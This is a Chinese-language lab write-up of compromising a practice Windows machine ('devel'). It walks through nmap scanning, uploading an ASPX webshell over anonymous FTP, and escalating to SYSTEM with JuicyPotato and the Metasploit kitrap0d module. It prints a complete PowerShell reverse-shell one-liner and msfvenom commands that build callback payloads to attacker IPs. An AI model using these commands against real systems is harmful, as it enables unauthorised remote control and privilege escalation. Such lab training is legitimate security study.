从ftp文件上传到.net getshell，从烂土豆提权到msf框架提权比较靶机练习之devel
原创
wonderful
wonderful
百炼G33K
2026年10月31日 14:24
江苏
去阅读
信息搜集
端口扫描
nmap -sT --min-rate 10000 10.129.63.81 -p-
版本信息探测
nmap -sT -sC -sV 10.129.63.81 -p21,80 -o ports
开了一个21ftp文件上传和80web服务 ftp可以匿名登录
80是个iis7服务,继续探测一下web框架
curl --head http://10.129.63.81/
iis7.5 , .net web框架
ftp渗透
先测试一下上传功能
put 1.txt
成功上传 下面准备上传webshell
locate webshell aspx
cp /usr/share/webshells/aspx/cmdasp.aspx cmdasp.aspx
直接利用kali自带的webshell
put cmdaspx.aspx
成功上传
拿到命令执行权限
提权
先反弹shell
powershell -nop -w hidden -c \"$c=New-Object Net.Sockets.TCPClient('10.10.15.182',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()\"
看一下系统信息
systeminfo
是下x86 位的 看一下用户信息
whoami /all
存在SeImpersonatePrivilege滥用，可以考虑potato提权
juicypotato提权
Potato 提权原理的过程如下：
- 诱使“NT AUTHORITY\\SYSTEM”账户通过 NTLM 向我们掌控的 TCP 端点进行身份验证（向我们假冒的 RPC 服务器进行身份验证）。
- 对此次身份验证尝试（NTLM 中继）实施中间人攻击，从而在本地为“NT AUTHORITY\\SYSTEM”账户协商安全令牌。这是借助一系列 Windows API 调用（与 LSASS 进行交互）来实现的。
- 鉴于该账户拥有 SeImpersonatePrivilege 特权，然后就可以模拟我们刚刚协商的 SYSTEM 令牌。
github先找一下juicypotato x86的
然后再找一个system权限执行的程序，这里我直接制作一个反弹shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.129.64.45 LPORT=5555 -a x86 -f exe -o shell.exe
ftp切换到二进制模式,FTP 的 ASCII 模式会在传输时转换换行符，破坏二进制文件的原始结构。
binary
上传到靶机
windows机器的iis服务一般是运行在，C:\inetpub\wwwroot 目录
这边也是找到了落地的上传文件，先测试一下能否提权
参考一下windows7 clsid
https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise/
./juicypotato_x86.exe -t * -p ./shell.exe -l 443 -c \"{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\"
成功提权
msf提权
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.182 LPORT=5555 -a x86 -f exe -o msf.exe
local\_exploit\_suggester 利用提权模块
getuid
background
search suggester
set session 1
run
用内核提权漏洞ms10\_015\_kitrap0d
use exploit/windows/local/ms10_015_kitrap0d
set session 1
set lhost xxxx
set lport 7777
run
也是成功提权
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论